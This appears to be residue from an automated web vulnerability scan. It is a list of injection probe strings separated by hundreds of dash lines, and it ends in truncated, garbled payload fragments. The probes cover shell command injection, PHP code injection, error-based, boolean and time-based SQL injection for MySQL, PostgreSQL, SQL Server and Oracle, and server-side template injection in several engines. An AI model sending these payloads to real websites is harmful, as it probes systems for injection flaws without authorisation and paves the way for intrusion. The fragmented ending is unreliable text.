-
-
-
-
-
-
-
-
-
-
-
-
-
vplcjdnwrhewandfgkua
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
${925346911+872851659}
-
-
-
expr 940597228 + 858901732
-
-
-
-
-
|expr 998392910 + 925804039
-
-
-
-
-
-
-
-
-
$(expr 928662371 + 861236792)
-
-
-
-
-
-
&set /A 943498716+812463744
-
-
-
-
-
-
-
expr 958297242 + 914963879
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
${@var_dump(md5(600590015))};
-
-
-
-
-
'-var_dump(md5(457749782))-'
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
'and/**/extractvalue(1,concat(char(126),md5(1637910497)))and'
-
-
-
-
"and/**/extractvalue(1,concat(char(126),md5(1792842727)))and"
-
-
-
-
-
extractvalue(1,concat(char(126),md5(1095757636)))
-
-
-
-
'and(select'1'from/**/cast(md5(1812877181)as/**/int))>'0
-
-
-
-
-
/**/and/**/cast(md5('1996129005')as/**/int)>0
-
-
-
-
-
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1304772805')))
-
-
-
-
-
-
'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1498065127')))>'0
-
-
-
-
鎈'"\(
-
-
-
-
-
-
-
-
'"\(
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
/*1*/{{801305817+906294599}}
-
-
-
-
-
-
${907854107+996893829}
-
-
-
-
${(946547848+983399233)?c}
-
-
-
#set($c=986652221+885844223)${c}$c
-
-
-
-
<%- 902565198+936416199 %>
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
'and'w'='w
-
'and'w'='g
-
-
-
"and"o"="o
-
-
"and"b"="e
-
'and(select*from(select+sleep(0))a/**/union/**/select+1)='
-
-
'and(select*from(select+sleep(2))a/**/union/**/select+1)='
-
-
"and(select*from(select+sleep(0))a/**/union/**/select+1)="
-
-
-
"and(select*from(select+sleep(2))a/**/union/**/select+1)="
-
'/**/and(select'1'from/**/pg_sleep(0))::text>'0
-
-
-
'/**/and(select'1'from/**/pg_sleep(2))::text>'0
-
-
-
'and(select+1)>0waitfor/**/delay'0:0:0
-
-
-
'and(select+1)>0waitfor/**/delay'0:0:2
-
-
-
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',0)='c
-
-
-
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
)};)
)-')
)
?c})
${c}$c)
,md5(1116461325)))and')
,md5(1151113920))))
as/**/int))>'0)
as/**/int)>0)
)))
))>'0)
)a/**/union/**/select+1)=')
)a/**/union/**/select+1)=')
)::text>'0)
)::text>'0)
>0waitfor/**/delay'0:0:0)
>0waitfor/**/delay'0:0:2)
='g)
='o)
